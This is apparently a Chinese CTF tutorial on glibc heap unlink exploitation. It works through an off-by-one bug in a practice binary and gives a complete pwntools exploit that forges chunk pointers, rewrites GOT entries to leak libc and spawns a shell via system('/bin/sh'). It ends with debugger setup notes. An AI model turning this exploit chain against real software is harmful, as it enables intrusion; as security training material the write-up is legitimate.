- Author:ZERO-A-ONE
- Date:2021-07-03
一、unlink的原理
-
简介:俗称脱链,就是将链表头处的free堆块unsorted bin中脱离出来然后和物理地址相邻的新free的堆块合并成大堆块(向前合并或者向后合并),再放入到unsorted bin中
-
危害原理:通过伪造free状态的fake_chunk,伪造fd指针和bk指针,通过绕过unlink的检测实现unlink,unlink就会往p所在的位置写入p-0x18,从而实现任意地址写的漏洞
-
漏洞产生原因:offbynull、offbyone、堆溢出,修改了堆块的使用标志位
相关源码的说明情况如下:
/*malloc.c int_free函数中*/
/*这里p指向当前malloc_chunk结构体*/
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}
//相关函数说明:
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk = BK; \
BK->fd = FD; \
...
}
二、unlink的绕过&利用
伪造如下:
chunk = 0x0602280(P是将要合并到的堆地址,P存在于chunk中,相当于*chunk=P)
P_fd = chunk-0x18 = 0x602268
P_bk = chunk-0x10 = 0x602270
绕过技巧:
define unlink(P, BK, FD) { \
FD = P->fd; \FD = 0x602268
BK = P->bk; \BK = 0x602270
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \FD->bk = *(0x602268+0x18) | *(0x602280) = P
\ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过!
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk = BK; \*(0x602268+0x18) | *(0x602280) = 0x602270
BK->fd = FD; \ *(0x602270+0x10) | *(0x602280) = 0x602268
...
}
最终效果就是往chunk里面写入了chunk-0x18的值!
三、做题实践
3.1 uulink
首先检查一下程序的编译情况
(base) syc@ubuntu:~/Desktop/unlink$ checksec uunlink
[*] '/home/syc/Desktop/unlink/uunlink'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
然后打开IDA进行静态分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+2Ch] [rbp-4h]
init();
while ( 1 )
{
while ( 1 )
{
menu();
read_0(nptr, 16LL);
v3 = atoi(nptr);
if ( v3 != 1 )
break;
add(nptr);
}
if ( v3 == 3 )
{
delete(nptr);
}
else if ( v3 == 2 )
{
show(nptr);
}
else if ( v3 == 4 )
{
edit(nptr);
}
else
{
if ( v3 == 5 )
exit(0);
puts("Invalid choice!");
}
}
}
是一道经典的菜单题
int menu()
{
puts("\n***********************");
puts("Welcome to the magic book world!");
puts("***********************");
puts("1.create a book");
puts("2.show the content");
puts("3.throw a book");
puts("4.write something on the book");
puts("5.exit the world");
return printf("Your choice: ");
}
我们可以发现add功能
int add()
{
int result; // eax
int size; // [rsp+Ch] [rbp-14h]
int v2; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Give me a book ID: ");
__isoc99_scanf("%d", &v2);
printf("how long: ", &v2);
__isoc99_scanf("%d", &size);
result = v2;
if ( v2 >= 0 )
{
result = v2;
if ( v2 <= 49 )
{
if ( size < 0 || chunk[v2] )
{
result = puts("too large!");
}
else
{
v3 = v2;
chunk[v3] = malloc(size);
::size[v3] = size;
result = puts("Done!\n");
}
}
}
return result;
}
我们可以通过输入ID和size,在chunk数组的ID位置通过malloc分配一块size大小的内存区域
我们再检查一下delete函数
__int64 delete()
{
int v1; // [rsp+0h] [rbp-10h]
unsigned int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = 0;
puts("Which one to throw?");
__isoc99_scanf("%d", &v1);
if ( v1 <= 50 && v1 >= 0 )
{
if ( chunk[v1] )
{
free(chunk[v1]);
chunk[v1] = 0LL;
v2 = puts("Done!\n");
}
}
else
{
v2 = puts("Wrong!\n");
}
return v2;
}
是正常的free操作并将指针清零
我们再检查一下edit操作
int edit()
{
int v1; // [rsp+0h] [rbp-10h]
unsigned int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Which book to write?");
__isoc99_scanf("%d", &v1);
printf("how big?", &v1);
__isoc99_scanf("%d", &v2);
if ( chunk[v1] )
{
printf("Content: ", &v2);
read_0(chunk[v1], v2);
}
return puts("Done!\n");
}
需要我们提供需要编辑的chunk的编号和chunk的大小
其中还有一个read_0函数
__int64 __fastcall read_0(__int64 a1, int a2)
{
unsigned int i; // [rsp+18h] [rbp-28h]
char buf; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; (signed int)i <= a2; ++i )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(_BYTE *)(a1 + (signed int)i) = buf; //unlink
}
return i;
}
这里存在一个漏洞,我们的chunk的内存大小可以看作[size]形式的数组,如果是小于等于size写入内存,会造成多写入一字节的内容,也就是offbyone,溢出了单字节,这里提供了我们unlink的基础
然后这题也并没有开启PIE也满足了我们unlink的需求
对于菜单题,我们书写EXP首先要做的是把相关的操作函数编写好
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(index,size):
ru("Your choice: ")
sl('1')
ru("Give me a book ID: ")
sl(str(index))
ru("how long: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Which one to throw?")
sl(str(index))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Which book to write?")
sl(str(index))
ru("how big?")
sl(str(size))
ru("Content: ")
sl(content)
我们先分配几个chunk供我们unlink操作
malloc(0,0x30)
malloc(1,0xf0)
malloc(2,0x100)
malloc(3,0x100)
假设我们要unlink的堆块是0号块,则我们需要寻找0号块的地址在哪里,因为没有开启PIE,我们可以直接找到
.bss:0000000000602300 ; void *chunk[50]
.bss:0000000000602300 chunk dq ? ; DATA XREF: init+7C↑o
.bss:0000000000602300 ; add+83↑r ...
.bss:0000000000602308 db ? ;
.bss:0000000000602309 db ? ;
.bss:000000000060230A db ? ;
.bss:000000000060230B db ? ;
.bss:000000000060230C db ? ;
不难发现0号块的地址就应该保存在chunk数组的第0位,也就是0x602300,则0号块就成为我们伪造堆块的P块,根据伪造的规则,我们应该开始伪造fd和bk
fd = 0x00602300-0x18
bk = 0x00602300-0x10
之后我们可以开始伪造,我们回忆一下chunk的基本构造
已被分配且填写了相应数据的chunk:
被释放掉的malloced chunk成为free chunk:
因为我们的P块申请的时候大小是0x30,所以我们在P块内部构造的fake chunk的大小就是30,fd和bk指针如上
py = ''
py += p64(0) + p64(0x31)
py += p64(fd) + p64(bk)
py += p64(0) + p64(0)
py += p64(0x30) + p64(0x100)
在写入伪造的堆块之前,我们先看看内存中堆块的布局和内容,操作方式是在edit之前加入debug(0)
然后查看写入伪造的堆块后
我们可以发现我们在P块里伪造了两个个chunk
第一个:
+0010 0x130f010 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00
+0020 0x130f020 e8 22 60 00 00 00 00 00 f0 22 60 00 00 00 00 00
+0030 0x130f030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
第二个:
+0040 0x130f040 30 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00
+0050 0x130f050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
这样的结果就是我们原来放在0x130f040的块标志位被修改成00,认为前面的块已经被释放了,所以我们可以发现系统显示第一个0x130f000的状态是Freed
我们又知道chunk的第0块放在0x602300,我们使用telescope来做检查
如果此时我们free掉第1块,也就是0x130f040则会触发unlink机制,
我们根据unlink的源码
define unlink(P, BK, FD) { \
FD = P->fd; \FD = 0x602268
BK = P->bk; \BK = 0x602270
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \FD->bk = *(0x602268+0x18) | *(0x602280) = P
\ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过!
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk = BK; \*(0x602268+0x18) | *(0x602280) = 0x602270
BK->fd = FD; \ *(0x602270+0x10) | *(0x602280) = 0x602268
...
}
- 此时:*chunk[0] = P = 0x130f010
- FD = P-> fd = *(0x130f010+0x10) =0x6022e8
- BK = P-> bk = *(0x130f010+0x18)= 06022f0
- FD->bk = *(0x6022e8+0x18) = *0x602230 = 0x130f010
- BK->fd = *(0x6022f0+0x10)= *0x602230 = 0x130f010
我们现在释放chunk[1]
我们可以发现堆块发生了合并,0x130f010加入了unsorted bin中,同时P与后面合并的结果就是*chunk[0] = P - 0x18 = 0x6022e8
这样我们再次edit chunk[0]就是可以修改0x6022e8
那么我们就可以修改chunk列表,可以把chunk对应的堆地址修改掉,比如说我们把堆修改成free hook,那我们就有机会edit free hook,或者修改got表
那我们可以先填充a,然后写入free和atoi的got表,暴露真实地址
py = ''
py += 'a'*0x18
py += p64(atoi_got)
py += p64(atoi_got)
py += p64(free_got)
然后edit堆块,我们看一下效果
我们可以发现成功在堆块指针中写入了got表,那我们再次edit对应的堆块则能直接修改got表
然后我们发现chunk[2](chunk+0x16)对应的是free的got表,我们可以将free修改为puts函数,同时将0号块的地址打印出来,也就是atoi的got表的真实地址
edit(2,0x10,p64(puts_plt))
然后我们将atoi的got表修改为system函数
addr = u64(rc(6).ljust(8,'\x00'))-libc.sym["atoi"]
print "addr--->"+hex(addr)
system = addr + libc.sym["system"]
gdb.attach(p,"b *0x00000000000000400C53")
edit(1,0x10,p64(system))
# bk(0)
ru("Your choice: ")
sl('/bin/sh\x00')
p.interactive()
完整的EXP:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./uunlink')
if local:
p = process('./uunlink')
libc = elf.libc
else:
p = remote('172.16.229.161',7001)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def malloc(index,size):
ru("Your choice: ")
sl('1')
ru("Give me a book ID: ")
sl(str(index))
ru("how long: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Which one to throw?")
sl(str(index))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Which book to write?")
sl(str(index))
ru("how big?")
sl(str(size))
ru("Content: ")
sl(content)
atoi_got = elf.got["atoi"]
free_got = elf.got["free"]
puts_plt = elf.sym["puts"]
malloc(0,0x30)
malloc(1,0xf0)
malloc(2,0x100)
malloc(3,0x100)
fd = 0x00602300-0x18
bk = 0x00602300-0x10
py = ''
py += p64(0) + p64(0x31)
py += p64(fd) + p64(bk)
py += p64(0) + p64(0)
py += p64(0x30) + p64(0x100)
#debug(0)
edit(0,0x60,py)
# gdb.attach(p,"b *0x000000000400BA0")
free(1)
py = ''
py += 'a'*0x18
py += p64(atoi_got)
py += p64(atoi_got)
py += p64(free_got)
edit(0,0x60,py)
debug(0)
# gdb.attach(p,"b *0x0000000000400C89")
edit(2,0x10,p64(puts_plt))
free(0)
rc(1)
addr = u64(rc(6).ljust(8,'\x00'))-libc.sym["atoi"]
print "addr--->"+hex(addr)
system = addr + libc.sym["system"]
gdb.attach(p,"b *0x00000000000000400C53")
edit(1,0x10,p64(system))
# bk(0)
ru("Your choice: ")
sl('/bin/sh\x00')
p.interactive()
四、pwndbg+pwndbg联合使用
先安装pwngdb,pwngdb的功能特别广泛,主要如下
libc : Print the base address of libc
ld : Print the base address of ld
codebase : Print the base of code segment
heap : Print the base of heap
got : Print the Global Offset Table infomation
dyn : Print the Dynamic section infomation
findcall : Find some function call
bcall : Set the breakpoint at some function call
tls : Print the thread local storage address
at : Attach by process name
findsyscall : Find the syscall
fmtarg : Calculate the index of format string
You need to stop on printf which has vulnerability.
force : Calculate the nb in the house of force.
heapinfo : Print some infomation of heap
heapinfo (Address of arena)
default is the arena of current thread
If tcache is enable, it would show infomation of tcache entry
heapinfoall : Print some infomation of heap (all threads)
arenainfo : Print some infomation of all arena
chunkinfo: Print the infomation of chunk
chunkinfo (Address of victim)
chunkptr : Print the infomation of chunk
chunkptr (Address of user ptr)
mergeinfo : Print the infomation of merge
mergeinfo (Address of victim)
printfastbin : Print some infomation of fastbin
tracemalloc on : Trace the malloc and free and detect some error .
You need to run the process first than tracemalloc on, it will record all of the malloc and free.
You can set the DEBUG in pwngdb.py , than it will print all of the malloc and free infomation such as the screeshot.
parseheap : Parse heap layout
magic : Print useful variable and function in glibc
fp : show FILE structure
fp (Address of FILE)
fpchain: show linked list of FILE
orange : Test house of orange condition in the _IO_flush_lockp
orange (Address of FILE)
glibc version <= 2.23
安装教程:
cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git
cp ~/Pwngdb/.gdbinit ~/
然后再安装pwndbg
安装教程:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
然后开始开始编辑
$ vim ~/.gdbinit
source ~/pwndbg/gdbinit.py
#source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end